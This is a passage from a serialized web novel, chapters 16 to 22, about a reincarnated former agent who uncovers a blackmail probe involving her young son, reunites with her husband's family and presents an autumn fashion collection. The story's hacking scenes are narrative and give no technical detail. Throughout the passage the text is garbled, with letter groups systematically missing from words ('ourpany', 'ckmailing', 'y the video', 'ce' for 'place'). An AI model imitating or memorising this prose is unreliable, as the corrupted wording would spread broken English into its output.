    (Do not get me wrong but I do need to get a practical grip of this world before functioning efficiently in it.)


    Every day he would bring me something to explore like exotic foods, fruits and we found our shared love for the game ''Pac Man''. We would y it for hours.


    While the nights became our date nights, the days'' were spent busy on our own works and matters.


    Hu Qiang would be busy with ourpany. (Yes it is ourpany now, very willingly.)


    I would train with the special Ops team; interestingly they all showed up the next day to report to work. I was taken aback I didn''t expect all of them to show up, some but not all.


    Every morning I would hit the gym (instation courtesy goes to Hu Qiang) and then we would train in hand-to-handbat and work on my endurance levels with basic stances to build up that core strength.


    Meanwhile, I asked Zhang Wei and Li Jie to get hold of some approved firearms for personal safety and in case of emergency.


    (Call me paranoid but I had this lingering feeling all these days, after I visited Hu Corporations that something big would happen, something emergency that would go out of hand fast. It is an instinct that I developed in my previous life, though in this life I may not know everything I am confident in my ability to read my surroundings and detect threats.)


    My heart was always unsettled as the initiative was not in my hands but it only needs one action, once I know who the person behind this is; I promise I will y them to their death.


    For easy and safe conversation I designed a ghost phone to contact with Hu Qiang in private and gave it to him.


    He told me that using the system made him feel like a ''spy'' but the reality is I was an agent in my previous life so old habits die hard I guess.


    ***


    It has been four months since I woke up and two months since me and Hu Qiang started dating, mostly the venue was my home.


    Today when I was training with my tactical team Li Jie came looking very perturbed. I immediately called for a halt.


    "What happened brother Li Jie? What concerns you?"


    "Youngdy, someone is trying to contact you and specifically you by bypassing all security measures to be followed to even know and contact you and the thing is he has government-approved visiting rights."


    My heart thumped heavily. The Hunt has finally begun.


    "Where is this person now?" I inquired, while I grab hold of few things on me to make me assured of my safety.


    I walked into the parlour to receive this guest and I saw a man, absolutely non-descriptive features with an envelope. He handled the envelope and left. There were no greetings or any exchange of dialogues, only parcel delivery.


    I looked inside the envelope there is a phone; unlocked with only one video in the gallery.


    I yed the video and it featured a little boy - sharp intelligent eyes deep brown in colour and facial features 70% simr to me and 30% to Hu Qiang. The boy would be around four to five years old he was pretty calm for being put under such threat but his eyes looked around cautiously, my heart thumped hard and fast looking at this child. There is this instant rush of feelings and adrenaline pumping through my vessels. My body went into a ''fight and flight'' mode.


    I recognise the child he was the same one whom the original Bai Chang gave her life to protect; only he grew up this time. Whoever was there on the other side of this he yed a sick game he tried to exploit Bai Changs'' only weak link and he wants to repeat the past.


    So this is a case of ckmailing... abduction


    I am not quite sure about the motive of this opponent, but boy did this person make a major mistake.


    I might not know this boy personally but I know from Bai Changs'' memories that she would sacrifice everything for this little cutie pie as this boy is her bundle of joy.


    I need to take care of this mess but rushing headfast won''t do any good to anyone I need to take action fast but effective and urate.

 Chapter 16: First Probe

    Chapter 16: First Probe


    [POV Feling]


    Looking through all history and case files details, to me, it was an easy case of ''Probe the target'' for any relevant details.


    The best way to do so would be to attack her only sensitive point - her child as even when she was an autistic person before that fatal attack, she was attached to her kid. Even if her societal awareness was nil, her emotional side has this one opening to explore.


    I pushed the button.


    [Knock... Knock]


    "Come in"


    "Sir" the Sergeant saluted;


    "Contact C-4 team"


    "Yes Sir" he saluted and left.


    After about an hour


    [Ring.. Ring.. Rrrrr..ing]


    "Hello" I answer the call on thendline.


    "Sir" the other side replied.


    "I am sending you directions for your next mission finish it to the ''T''"


    "Yes Sir" the call disconnected.


    ''Bai Chang why is it that the government is so interested in you? They are ready to walk the extra mile and cross than non-existing moral line. What do you have with you? What information do I need from you?''


    (After surmising the situation I realised there must be some major operations'' key information in her hand otherwise going to the point to kill her was a moot point.)


    ''You have not left your ce yet, so are you really amnesic? Or are you recovered and bidding your time? Whichever is the case, pulling at your emotional pressure points should provoke you enough to make you move.''


    (As a sinister smile yed on his lips highlighting his malicious nature and murderous features.)


    ****


    [POV Bai Chang]


    I searched through the phone set left behind for microdots or other bugs. I had this vibe that it was a test. I took out the scanner that I designed and scanned the phone.


    I looked towards Brother Li Jie.


    He is not looking good.


    "Brother Li Jie, do you know this person?" I showed him the kids'' photo.


    (As expected his eyes went wide open.)


    "Youngdy, this is Young Master Hu Wang Wei, your and Hu Qiang''s only child," he eximed in utter surprise.


    I motioned for silence then took out a ck case and put that phone in it. This case is a technological ck hole which would block all types of transmission from any kind of transmitting system that I specially prepared for such situations.


    After cing the phone in the ck box, I turn to Li Jie, "get a hold of yourself I will call Hu Qiang first to get relevant information about the situation then we will decide the steps to be taken."


    I called Hu Qiang on our ghost phones. It rang a few times and then finally the call got connected, without wasting time I said "its emergency! Move to your office."


    "I am in my office" he replied.


    "Alone"


    "Yes"


    "Okay, I am sending you a video see it. It was sent to me just a few minutes back by some person who ims to be from government agencies do not rush while you finish watching it, I am sending you all details now" as I said I put his call on hold, while he looked through the video and the details of the parcel handler.


    After some time "Bai Chang, I am so sorry I let you down again... let me handle this."


    "Listen," I interrupted,


    "Ask you, secretary, to call home and enquire about Wang Wei nothing else. Wait for their reply. Next in the time mean I will send you location details for this video as it can be reversed tracked, put Cyrus on show, while I send you the location details. Then appear in front of their doors, it doesn''t matter whether Wang Wei is there or not tear that ce down. He won''t be harmed. As this attack is to probe me to action but if they don''t get any action from me they would try to attack me directly next time which would clear away the threat faced by Wang Wei. Do exactly as I say no missteps should be made and then let me know the results.


    ****


    [POV Hu Qiang]


    After disconnecting, I took a deep breath; my heart was pounding.


    I called Ming Li inside.


    "Hello Bos-Boss" he was clearly affected by the raging storm that is brewing in my heart.


    "Call the main residency and ask them where is Wang Wei?"


    "Okay"


    He called immediately looking at my sombre look.


    "Hello, Hu residency. May I ask where Young Master is? I am Ming Li master Qiang''s secretary."


    "He is on his way home."


    "Why is hete today?" I ced the phone on the table and put it on speaker.


    "Master" she sounded flustered, "Master today there was some disturbance caused by some local goons around Young Master''s school so to safeguard the safety of the students the school authorities did not let them leave by themselves. Thus old master is on his way to school to get Young Master back. They would arrive home soon." She replied.


    "When they are back from school ask them to call me promptly."


    "Yes Young master"


    I disconnected the call.


    "Boss, did something happen?"


    "Call Cyrus"


    "Yes boss"


    "And call the beta guard team; ask them to be on standby."


    "Okay"


    He left the room.


    I promptly received a text from Bai Chang.


    "This is the location. Destroy this ce with no hesitation and there is another link it will connect you to traffic cameras over the city. I program them to sense Wang Wei. Currently, he is leaving school. You can follow him through the feed; theg time is only one second."


    They were a bunch of Information and steps to follow but first I opened the traffic camera links and it directly showed me our son being received by my father personally, his security team surrounded them as they drove back home.


    I can finally rx.


    ''This time it was a huge oversight from my side that I didn''t increase security around him. After Bai Chang woke up the enemy wants to explore the emotions against her as they didst time.''


    I clenched my fists.


    It''s not over yet it. I quickly browse through the data as I awaited Cyrus.

 Chapter 17: Mother And Son

    Chapter 17: Mother And Son


    [POV Bai Chang]


    After sending Hu Qiang the links and information, I looked through the traffic camera feed as that little bundle of joy of Bai Chang''s life was taken away from school by her father inw under tight security.


    It seemed strange as that ''adrenaline rush'' finally settled down.


    (Is this how mothers around the world feel?)


    While there is this belief that I would meet him soon and then it would be real or may be different. I am a mother while I do not even know how to be one. I felt a moment of frailty while logging out of the feeds but there are other things to take care too.


    I went into the system and with the aid of ''Jiffy'' I am plugged into various military and government''s private servers and data portals; there is no distinction, be it research, arms, policies or nuclear data. I searched andbed through them to find that ''needle in the haystack''. Here the needle is the motive to put down Bai Chang.


    (What exactly was she aware that her life became a ticking bomb for a few figures of authority?


    This is now a race against time. I find it I live; I don''t find it I die, as simple as that and I want to live. As ''Siming'' the ''God of Fate'' won''t be generous the third time. I don''t want to test the practical significance of the theory ''third time''s the charm''.


    What happens if I get demoted to hell?


    I strongly believe, when you are alive you are already in heaven there is no other special abode called heaven.)


    *****


    [POV Hu Qiang]


    [Knock.. Knock..]


    "Come in"


    "Hi"


    "Hello Cyrus, let''s get down to work first."


    I passed him the information and cyber details as provided by Bai Chang.


    "Cyrus, look through these potential ces and virtual maps here as provided and gather data as fast as you can and sidle through the system, try not to leave any obvious virtual footprints behind, get it done in 10 minutes."


    "Okay. It is easy all the codes and bypass signals are provided by Bai Chang. It is like taking a walk in our own backyard now."


    (While Cyrus was on it I called the Commissioner of Police and simultaneously alerted the Narcotics Department towards the location provided by her. It is an opium den; illegally functioning here in the capital city, it is not possible that no one is aware of it rather there is a mutual give and take going around.


    Thus breaking down this ce would have no major effect but the proper message would be sent to the respective receiver. I am surprised at the dexterity of the n as proposed by Bai Chang; it is trimmed with no unnecessary moves at all which forces the other side to make another move while not giving any leeway from our side.


    I arrange the specific props and people as is directed by her.


    Let''s wait and see how others deal with it?)


    "Boss" Cyrus called out, "it''s done".


    "Okay"


    Now we wait and watch the show.


    *****


    [POV Feling]


    As I clocked in for my night-shift I saw a file on the table. I took a seat and looked through the contents. Looking at the response from Bai Chang, I am not sure what to make of it now?


    The attack around the school and delivering the message to her only resulted in Hu Qiang taking preemptive measures and bashing down one of the ck market opium den owned by few official authorities. Making it clear that he knows the intention behind these people and he is looking forward to the next move.


    What puzzles me here is Bai Chang''s reaction; there is no reaction at all. This is where it gets interesting as either she is truly amnesic and not aware of anything at all so people around her are keeping her in dark or she is truly bidding her time.


    Interesting, it seems the next move should be a face-to-face contact with her when she least expects it, it would clear a lot of the facts.


    I guess it''s time to visit the maind.


    *****


    [POV Hu Qiang]


    I called the main residency.


    After a few rings, it got connected.


    "Hello, Hu Residency, who is there?"


    "Father it''s me, Qiang"


    "What''s the matter?"


    "Could youe together with Wang Wei and mother to the Vi at Residency Area?"


    "Are we finally meeting Bai Chang?"


    "I didn''t n for it but now it is necessary."


    "Is it rted to today''s incident at school?"


    "Yes, will let you know the detailster at home." I disconnected the call.


    I thought through what I am really going to do next?


    I left work early and rushed to the Vi, as I arrived my family arrived too.


    We first went inside our home, as everyone settles down in the living a room I looked towards Wang Wei and said "today evening we are going to meet your mother. You almost got kidnapped today and someone is trying to use you again to exploit your mother. It''s good that this time she took prudent steps but still to make the situation clear we would go to meet her so that there are no uncertain health conditions to her due to trauma."


    My father and mother became sombre as they listened to it.


    "Are we going to meet too?"


    "Yes, it''s best to get this meet and greet event done together as there would be fewer surprises or unwanted anticipation factor added to her psychological stress."


    "Okay, how much can we interact with her?" my mother inquired.


    "Bare minimum as her trust levels are too low until and unless she epts us it is hard to get near her."


    "What is your progress then?" time my father asked scrutinizing me.


    "I am on probation as a boyfriend, for now," I answered slightly red-faced, "she has be too cautious to open a heart to others. It is best not to push her or you would get pushed away from her."


    "I will prepare something to eat for her."


    "Mom it is better to not make anything that you think she liked previously as her approach to everything is new she barely goes by the old stuff."


    "I understand" she replied then turned to Wang Wei and said, "get ready you are finally going to meet your mother."

 Chapter 18: Complete Family Re-Union

    Chapter 18: Complete Family Re-Union


    [POV Bai Chang]


    It''s evening now Hu Qiang didn''t give me a call of Wang Wei''s arrival. I know he is safe and sound. I know he is taken well care of by his grandparents and his father but there was this restlessness in my heart, I am not sure is it mine or Bai Chang''s emotions that is running high but I would like to at least get the confirmation call.


    While I was debating with myself to take up the role of an absentee mother or not; to take that first step to make my own family, my internal monologues were pretty twisted enough and entangled, to get me out of my tangled mess of thoughts, brother Li Jie called out to me.


    "Youngdy, there is someone who wants to meet you"


    "Anyone I know or I don''t? I asked half-heartedly, "I don''t want any more surprises today" I muttered under my breath and followed him to the ground floor living room.


    There as I looked around I am surprised to see Hu Qiang and his whole family including Wang Wei.


    That indescribable emotion that is at the back of my mind finally settled down. I looked towards Hu Qiang he smiled and nodded at me. I realise he knew I would be worried and unsettled so he got his family to meet me.


    It doesn''t matter if it happens early orter; as of the current situation, it is the much-needed step. I appreciated his thoughtfulness but I am gued with other thoughts now.


    ''How do I approach them this is my biggest question? How do I behave around them?''


    I stood there at thatst step of the stairs absolutely still, noticing my awkwardness his parent''s smile and called me towards them.


    I walked to them and sat down on the sofa. The whole family sat around me and took this opportunity to introduce themselves to me all over again.


    "Hello Bai Chang, sorry to give you such a scare but we were worried about you and thought toe over and meet you early."


    She took over the conversation from there.


    There was no ''you remember this/that'' nonsense, neither was there any clich talks like ''you used to be like this or that''; ''you liked this or that''.


    It is a huge relief to know that they are at least trying to meet me, as for me, in my own capacity but not as a relic from the past.


    My eyes would asionally roll towards Wang Wei and realised that this baby bundle of joy is wearing his heart on his sleeves, his eyes showed how much he misses his mother and how much he loved to see her.


    I am overwhelmed by the pure look of love for me in his eyes. I suddenly opened my arms to this bundle of joy. I felt it as a natural response.


    The child seemed overjoyed, he looked at his father to confirm if it''s real or not when confirmed that it is as real as it could get. He jumped on myp and I instinctively caught him in my arms.


    ''It felt natural''.


    ''It felt right''.


    ''I liked it''.


    The child in my arms felt soft and smooth and light as feathers.


    ''I didn''t want to part from him'' this thought crossed my mind.


    I want to be by his side as he grows up and teach him and be his friend. I became jealous of Hu Qiang as he had him for years now, enjoying his process of growth while I was away from the whole scenario.


    I looked towards Hu Qiang, I guess he saw through me at that moment, it felt uncanny but so much more.


    Towards Wang Wei, I couldn''t stop myself from pulling his cheeks and patting his hands as well as rolling my fingers through his hair. My cheeks were wet, I touched them and realise that I am crying.


    Some emotional dam broke inside me I found it unexinable but at the same time appropriate.


    "Baby, are you angry towards your mother?" I am scared of his reply, I realised.


    "Mother, I miss you and I love you" he hugged me tightly as if afraid that I would disappear.


    I hold onto him and throughout the evening we were as closely knitted as Kos''.


    It is a new experience and I felt it is to be right.


    After the dinner, Wang Wei fell asleep early as he was through a lot of emotions today. I covered him with a light nket. I wanted him in within my sights.


    I knew that a real conversation would start now.


    We sit around the coffee table everyone had their wine sses in hands except me.


    (I still had turmeric milk in my ss like an obedient baby.)


    "So, what exactly happened today?" father Hu asked as he opened the conversation.


    "I think someone is trying to probe me to see if I am amnesic or not or do I have some other tricks in my bag."


    "How are you sure about it? This time mother Hu was puzzled and inquired.


    "Mother, Father, when I went to meet him in his office I saw a few people calling encoded numbers. After I woke up from aa, I am more clear-headed and with much better cognizant power. So as I left the office I tracked these numbers.


    This leads me to ''Feling''. I got an overview of his character from the data that I mined on him and from Zhang Wei, so I knew he would make a move against me. I am not sure about the motives yet but I am sure about their steps and actions. So I worked and prepare myself for them but they had to take underhand tactics, they went forward to provoke the emotions of my heart and get a first natural response from me. Next time they would like toe together at me directly and would like to officially meet me, it would happen when I least expect it so I have to n my future days ordingly."


    Both mother and father heaved a big sigh.


    "Do not worry child, we are always by your side, remember this at all times that we are a family. You take your own sweet time to get used to us. We will always wait for you just around the corner." Mother Hu said.


    I am emotionally choked.


    "Thank you mother, father and especially Qiang. Thank you for getting everyone here to meet me."


    My eyes were wet with unshed emotions.

 Chapter 19: Quality Time

    Chapter 19: Quality Time


    [POV Hu Qiang]


    Next day father and mother left us early in the morning to give us some space and quality time to spend.


    Wang Wei slept with Bai Changst night.


    I was still relegated to a guest room.


    I am so so...jealous of my own son.


    Last night, I realised that the Bai Chang was overwhelmed with emotions but she still didn''t ept us as a family. It saddens me.


    Zhang Wei prepared a table full of breakfast for all.


    "Good Morning, Sunshine."


    I saw Bai Chang apanying Wang Wei to the table. She is wearing a yellow flowing Maxi dress with round princess neck, it looks adorable on her at this present moment she looked like a ray of sunshine to me.


    "Good morning, Qiang."


    "Good morning, dad."


    "Come, let''s have breakfast together."


    After breakfast, it seemed as Bai Chang is still at ill-ease with something.


    "Is something a matter?" I asked her in concern.


    "Qiang, I don''t know how to be a mother or a girlfriend or even know how to be a responsible daughter-inw. So I don''t know how to go about from here?"


    Iughed as I looked at her lost expression; she looked extremely adorable and genuinely concerned.


    "It''s alright. Do what you want to do and how you want to do; no one will stop you or nag you."


    "Are you sure?" she asked me innocently.


    "Yes, I am very sure."


    "Okay, then I will hold you to your words." She replied with relief.


    She continued "firstly I have a very presumptuous request, that is, can we get Wang Wei to home tutor for the next two years, not many just next two years?"


    "Is there something bothering you?"


    "Do not get me wrong I don''t want to dictate his life only ording to current situations I feel it would be best for both security and his studies. I just need two years utmost to wrap up all these extra matters."


    Suddenly our son spoke up "let''s do as mum says, it''s not like I enjoyed going to school it is an extracurricr activity that I have to do under your supervision."


    "Wow only one day passed and you sold me out in front of your mother, on the next day what would you do next?"


    I look at Bai Chang, I see her be amused by our father and son conversation.


    "Bai Chang, Wang Wei is our son, you have equal rights to decide his ns there is no need to ask for permission from anyone. Let''s do it. It will also give you both some time to bond with each other."


    "Thank you for listening to me" she turned to Wang Wei and said, "Trust me it would be fun."


    "Then what about you want to do next?" I asked her.


    "I would like to get a job. You have an uing project for the female clothing line, right?"


    "Yes, how do you know?"


    "Ibed through a lot of information rted to ourpany."


    "So what are you nning?"


    "I want to introduce a new clothing line this season, so that means I have exactly two months to prepare it. If you do not mind I have the respective designs ready with me take a look, consult with your fashion designers and then we wouldunch this line. I can officially start working with ourpany. Only the front would be as a fashion designer. It would be a very valid front too."


    "Okay, when do we start working then?"


    "Now, let us go to my outhouse. I stationed my warehouse and my workroom there. Wang Wei, would you like to apany us?"


    "Sure mum"


    "Okay"


    We headed towards the outhouse.


    ''I won''t lie I am interested to see what she will present? As much as observed and no hurt till now she would not reveal something until and unless she is satisfied with it as her standards are pretty high.''


    It got me excited. We enter the outhouse, the ground floor is apletely open floor there are many mannequins. They were all dressed in various fabrics of various design lines. Our next clothing line is a ''fall fashion line'' themed ''Autumn leaves''.


    ''Right now in front of me design worth to put directly in top fashion magazines of the world'' these were my thoughts.


    "It is mesmerizing; mum these are your designs!" Wang Wei spoke up.


    "How do you feel when you see them?"


    "Like autumn leaves falling on the ground, the sharp wind colouring the sky in different warm and dry hues using the falling leaves from various tree branches."


    "A very apt description, would you like me to teach you fashion designing."


    "Sure mom"


    I noticed that Bai Chang is still not used to being called mom but she also didn''t push or restrict Wang Wei in any way either.


    "Bai Chang do you mind if I call the head fashion designer for ourpany ''fashion house'' here."


    "I do not mind, I could use someone to critique the designs to finalize the looks."


    "They are not the finalized looks?" I am taken by surprise.


    "Not yet, they are trial pieces."


    "When did you make all these?"


    "I was almost bored to death in the hospital so after I left that cursed ce I started doing this. I wanted to start my own alternate shop which is not rted to software or circuits."


    I stepped outside and called Donna and Master Shi over to Bai Chang''s ce.


    They arrived after one hour. During this time Wang Wei went on to explore the warehouse with Bai Chang, as it housed different types of quality fabrics from around the world.


    I weed Master Shi and Donna at the Vi gates. Master Shi is a man in his fifties, well dressed and handsome, he is a well-received name in eastern countries and his designs speak volumes. While Donna is a prim and proper European socialite who likes to design. To pursue her dreams she started working early and became a global phenomenon after the first fashion show, looking at her potentials I roped her in mypany and since then it has been a pleasant coboration between us. It is hard to believe that she is only twenty-six years old this year.


    "I wee you, thank you foring at such short notice. I want you to look into some designs."


    "Is it a sample for theing season?" Master Shi asked.


    "Did you hire a new designer are you firing me?" Donna taunted me.


    I didn''t reply.


    "Then tell me what is it?" she asked impatiently. While even Master Shi is also curious but he is a man of little words and thus holds his silence.

 Chapter 20: The Designs

    Chapter 20: The Designs


    [POV Master Shi]


    Being called by the CEO of thepany is no big thing but, the venue sure is intriguing.


    I wish to see what it is all about? We moved through a private Vi property, it sure is mesmerizing with thekes and ponds surrounding the orchards and hills and mountains guarding the property. It is a good ce with Dragon Feng Shui.


    We entered a building, it is two-storey, the ground floor ispletely open space and there on this floor are many mannequins wearing samples.


    It is absolutely gorgeous... there are five pieces.


    On the extreme left is a knee-length drape style dress with plunging neckline and drop shoulder with petal sleeves, the colour is dark ''Olive green''. It is bold with no mixing of colours. I went close and touched it. It is made up of ''Velvet'', purest quality is used and I could not take my eyes off the piece.


    I looked to the next piece; it is a western-style Shirt with gathered neckline and bow style cor, there were ps on its right-hand chest and is sleeveless. It is of a ''tan'' colour and made up of ''Pr Fleece''. It is likefort and high style of workce fashion.


    I reigned in my emotions and went to the next sample, it is a cowl neck with angel sleeve sheath dress; form-fitting short dress and it is in solid ''chestnut marl'' colour, the entire piece looked straight off the Runway. This piece was made from ''nnel''.


    The secondst piece is a turtleneck ''Ski'' form sweater with bracelet-length sleeves and knitted cuffs as well as knitted maple leaves on its bottom border and middle of the chest. The size of the maple leaves varied, bottom leaves were only half an inch in size while the leaves on the chest were two inches in length and breadth. The colour of the sweater is ''Ochre Yellow'' on which the maple leaves in ''Chilli Paprika'' colour contrast.


    Last but not the least, is a ''Tyrolean'' jacket made up of ''Tartan''. It is of solid colour of ''Russet'' with hand warmers on its side. It is three quarters in its length and the very understatement of this piece; is its highlight.


    I am surprised to see the sample collection and finally looked towards Donna. She is equally mesmerized with the samples, if not more.


    ''Looks like we have a good starting point for this fall collection.''


    "Donna, what do you think?" I finally asked her about this collection.


    "This collection is already ''Runway'' ready. We just need to this together with our work in the Studios and we are done for this fall."


    She still had her eyes on the final piece of clothing.


    It made sense too, after all, the designer has thought towards the theme,fort, visual appreciation and quality. It is a whole-some fashion clothing line something that one can straight away were and walk from ''Runway'' to any high-ss party or official meetings.


    It has the potential to be a hit with the masses. The bold colours give the wearer the option to essorize it however they like ording to their personality. They can customise the style of these samples on their own. Which brings me to the question, ''Who is the design into this collection?''


    I finally asked Mr Hu.


    "Mr Hu the samples are mesmerizing and ready to be put on the ramp. May I ask who the designer behind this is?"


    He looked towards thisdy at the far corner of the room, I was so engrossed in the sample designs that I failed to notice there were other people in the room.


    The girl is in her mid-twenties at best but she has this air around her that makes you believe that she has absolute authority over you and everything else; she is like a beautiful rare flower glowing as well as gliding through the air.


    Mr Hu moved towards thisdy, together this beautifuldy with the child in her arms looks like aplete family. ''I couldn''t put my fingers on what I am missing here?''


    "Master Shi, Donna please meet my wife Shui Bai Chang the designer behind these samples." Master Hu finally spoke up.


    I''m surprised by the introduction if I remember clearly, I heard that Mr Hu is married but his wife keeps a low profile, are they finally going to be public this year?


    I gathered myself and move towards the gooddy.


    "Hello, Mrs Hu, it is nice to meet you finally."


    "Great Sir, please call me Bai Chang, it is my honour to meet you and present my samples in front of you," she replied humbly.


    Her voice is like jingling bells.


    I think I know why the CEO of the Hu Corporation can keep such a low profile with zero scandals and an honest lifestyle. If you have such a sweet wife at home toe back to everyone would live an honest lifestyle.


    "Okay I won''t haggle, Bai Chang is this your final work?"


    "No Master, there are a few more pieces on the drawing board. I would like to learn under your and Donna''s tutge and work with you in the fashion house, that is, if you take me and do not feel bothered," she replied with that naive smile.


    "No child, it is our honour to see your work and you will help us to get inspirations."


    "Thank you for your appreciation."


    ''I like her temperament; it is neither too haughty nor too humble.''


    "Mr Hu, when would she join us in the studios?" I inquired.


    "Master, if you do not mind can she work from here. This is her warehouse with all amenities in it; when the sample would go through production process she woulde to the studio please, do not take offence she is of weak constitution and just recovered from an illness. I wasn''t aware of her work, otherwise, I would have advised her for more rest."


    "No problem we can work from this ce as it is full of inspiration, so we can do the initial drawings and sample making here. Donna, what do you think?" I asked her.


    She had been absent-minded for quite some time now; finally, she spoke up "Bai Chang would you like to be a model for me. I find you to be my muse."


    There is a brief silence in the room as it is a serious matter for someone to be a ''muse''. Mr Hu looked toward thedy by her side apparently she decides.


    "I won''t be walking runways for you but outside the stage, you can approach me. Please do not take offence it is true I am still recovering from major health conditions."


    "No problem, I am cool with that, Mr Qiang, what do you say? Say Yes." She demanded.


    It is quite a joy to see the birth of a new generation of star level fashion designer I thought to myself.

 Chapter 21: The Family Outing

    Chapter 21: The Family Outing


    [POV Hu Qiang]


    I am surprised to know Donna wants Bai Chang to be her muse. This will tire out Bai Chang; she will also take her away from me.


    ''How am I supposed to date her?''


    ''I will do what Bai Chang wants as long as she is happy with it. Let it be.''


    "How about we discuss the collection in details now? It is as good as a time, as any to start the conversation." Donna suggested.


    "Seems good to me" Bai Chang replied without hesitation.


    Me and Wang Wei, we can only tag along with her to her workroom. It is altogether a different story inside. In the workroom there were various fabrics and materials scattered all around the ce and little dolls were wearing various designs, it''s like a miniature version of the real-life dresses. All of them made from real fabrics. On her drawing board were more designs scattered in chaos but with a seemingly elusive order.


    Master Shi and Donna have gravitated towards all these; even Wang Wei is tagging along with Bai Chang and helping her around. It seems this little squirrel already had his tour around this ce and is seriously filling the position of an assistant.


    ''My son betrayed me.''


    I can only silently follow their footsteps otherwise they will not hesitate to ditch me; both mother and son are being careless towards me. ''I can onlyin in my head, who asked me to be crazy about them?'' I smiled internally as Bai Chang remains oblivious to me.


    ''Finally, I feel like other 90% of husbands feel in their own homes.''


    I feel like an abandoned concubine. While in my life my king is my one and only beautiful wife, Bai Chang.


    The entire afternoon they talked and talked, finally Master Shi and Donna finalised thest look of this ''Fall Collection''. I am taken by surprised, by how much Bai Chang contributed to all this. It is an eye-opener to see her as a fashion designer than as aputer geek. The girl wearing her nerd sses sitting behind aputer system is hard to imagine in the present situation.


    I really want to walk up to her and then hold her in my arms and fly away somewhere far from all prying eyes. Finally, Masher Shi and Donna left in thete afternoon and finally I have some time with her but with the tag-along, that is, my son.


    Seek, while the person responsible to seek them is me. I am ted ying with them. Even Wang Wei''s face is all flushed from ying hard.


    It is surprising to see him y so much, normal he is surrounded by books andputers. He takes his physical training sses but very unwillingly. While now he is ying willingly it makes me happy.


    While resting on a park bench Bai Chang demanded ice-creams and popcorns. I went looking around and got it from a nearby cafe, not too far from the sitting area. Both Bai Chang and Wang Wei have sweet tooth while I am left out. I am not much of a fan of sweet things.


    She looked at me and offered me her ice-cream cone. I had a huge bite of it from the side she was licking her ice-cream. As I can''t kiss her directly this indirect kiss would be mypensation for today, I rationalised in my mind.


    She is upset to see I took such arge bite from her ice-cream but didn''t pursue the matter.


    I ordered a guard to buy another small bucket of ice-cream on our way home.


    ''It is better to prepare something to cate her otherwise I may perennially be relegated to the guest room at night.''


    At night for dinner, we went to this small cafe in the heart of the capital. It had warm decorations and good food.


    They had a variety of sandwiches and Bakery staff. The waiter came to take our orders, I directed him to Bai Chang, and she ordered an ''egg sd sandwich and Chicken Mayo sandwich ''with'' Man-chow soup. Wang Wei ordered the same as his mother; this boy is really sticking close to his mother. He should realise that is father needs a ce to enter, for him to be rted to his mother in long the run.


    I can''t be the odd one out here, so I ordered same as them while adding along with a te of vegetable sds. Both Bai Chang and Wang Wei looked at me like a bunch of angry kittens whose tails were stepped on. They look horrible.


    We enjoyed our meal, it is harmonious and joyful. Finally, we headed home, while ying all day long Wang Wei fell asleep while Bai Chang was sitting like a statue, afraid to even touch him and to avoid waking him up.


    I looked at her helpless reaction, I stretched out my hand "Here, let me"


    I took Xiao Wei away from herp andid him between us, his head on Bai Chang''sp while his legs towards me. She looked lost. I took her hands and ced them on Wang Wei.


    "Just pat him asionally"


    She looks at me like, I am a person from another. Then slowly started patting Wang Wei.


    It is a long drive to ''Residency Area'' from the amusement park as well as the cafe. As we drove on Bai Chang fell asleep with her head nodding off towards the other side window. I took out a nket and ced it on both mother and son while they sleep on.


    I just watched them quietly.


    Today, I feel fulfilled.


    I feel like I lived.


    Seeing my family, I feel blessed and it renewed my determination to keep it together and protected no matter whates in the future.

 Chapter 22: Beautiful Sunshine

    Chapter 22: Beautiful Sunshine


    [POV Bai Chang]


    It is bright.


    Lights are flooding my eyes.


    I rubbed my eyes and flutter them slowly while opening them.


    Sunlight is flooding the room while I see Xiao Wei sleeping beside me in peace.


    That cute little angel face is too adorable.


    As I got down from the bed and move I feel a tug, looking down I see Xiao Wei is holding onto my hands in his sleep. My heart melts. I gently free my hands from his and pat him on his head as demonstrated by Hu Qiang.


    Have to say the man is well round off. He knows how to handle a child.


    (I swear that at that particr movementst night I felt so embarrassed that I wished I could dig a hole and shove my head in it to avoid all embarrassments.


    Imagine looking at the leader of all agents from a progressive civilization of Star Time System getting all stumped in front of a man, when the topic of discussion is child care. Ahh-hh Hell!!)


    No..No-no... not going that way, it is way too early (or is itte) in the morning to be weighed down by such heavy topics.


    Let us start fresh.


    As I freshened up and entered my bedroom, I am greeted by wide open shining brown orbs of eyes. My poor heart melts.


    It is so unfair, the child when he grows up, he will be such a heartthrob to the poor maiden hearts


    I can already see a lot of peach blossoms blooming in the future. That would be such a headache.


    (My imagination is really way too colourful for a child to know... Reign in yourself Bai Chang as I muttered to myself.)


    "Morning, Xiao Wei. Had a good sleep?"


    "Yes Mamma"


    I move towards the bed and my arms automatically open up to receive him. He runs into my arms and hugs me tight.


    "Xiao Wei, how about I call you little munchkin from now on?"


    "Okay Mamma"


    "Good boy, now go on get yourself freshened up. I will meet you in the kitchen, let''s hunt for breakfast."


    We both giggled and he left for the washroom.


    I have to say that he is really independent for his present age. I don''t know how Hu Qiang raised him to be so obedient and adorable.


    I sighed


    As I arrived in front of the dining table I am weed with freshly cut fruits and juices sitting on the table while on the right corner Hu Qiang is going through files.


    "No work on the dining table," I said bossily.


    (I don''t know why I did that...


    I felt like flirting with him, I guess)


    He immediately closes the file, not even taking a second look and move them to the coffee table in the room.


    "Yes, mydy as you order, your humble servant would follow" he replied yfully.


    I giggled it really is fun seeing him y along, he continued with this role.


    He walked towards me and held the chair out for me. I take my seat as the head of the house.


    I started to chomp down these fruit slices.


    (Don''t get me wrong but I am too hungry to flirt with this man. Big rats are doing the samba, in my stomach.)


    Xiao Wei joined us at the table and we have our breakfast or rather brunch you may say.


    After this, I moved to my study room.


    Sometimete Hu Qiang followed with him Xiao Wei entered as well.


    Xiao Wei runs towards me and jumps on myp.


    "Mamma, may I stay in your study and read from your library."


    (He looks as adorable as a chocte cupcake.)


    "Sure munchkin read whatever you like and if there is any doubte to me I will exin it to you."


    He gives me a sweet kiss on my cheeks and left my arms starts looking around my library.


    While I turned towards Hu Qiang.


    He sensed my questioning gaze on him.


    He coughed lightly and replied, "May I borrow your study to finish my work".


    "Why don''t you go to the office to finish with those?"


    "I am taking a break from work these are only the rest of the most immediate or urgent files. Everything else will be handled by Ming Li. It is about time that he should start working for his sry."


    "Okay then feel free to work here" I replied and moved towards the main table.


    Hu Qiang upied the couch while the only armchair in the room was taken away by Xiao Wei, who is carrying a heavy book, I looked towards the title, it is a book on Introductory Medical Science.


    While I have been still snooping around various government research projects and other stuff from around the world. There is silence in this study room but it is not stifling rather it is very soothing and harmonious... feeling of family.


    It used to be a foreign term to me back in my old life at Star Time System.


    I feel like life blessed me this time as I am no longer alone and have a good family by my side.


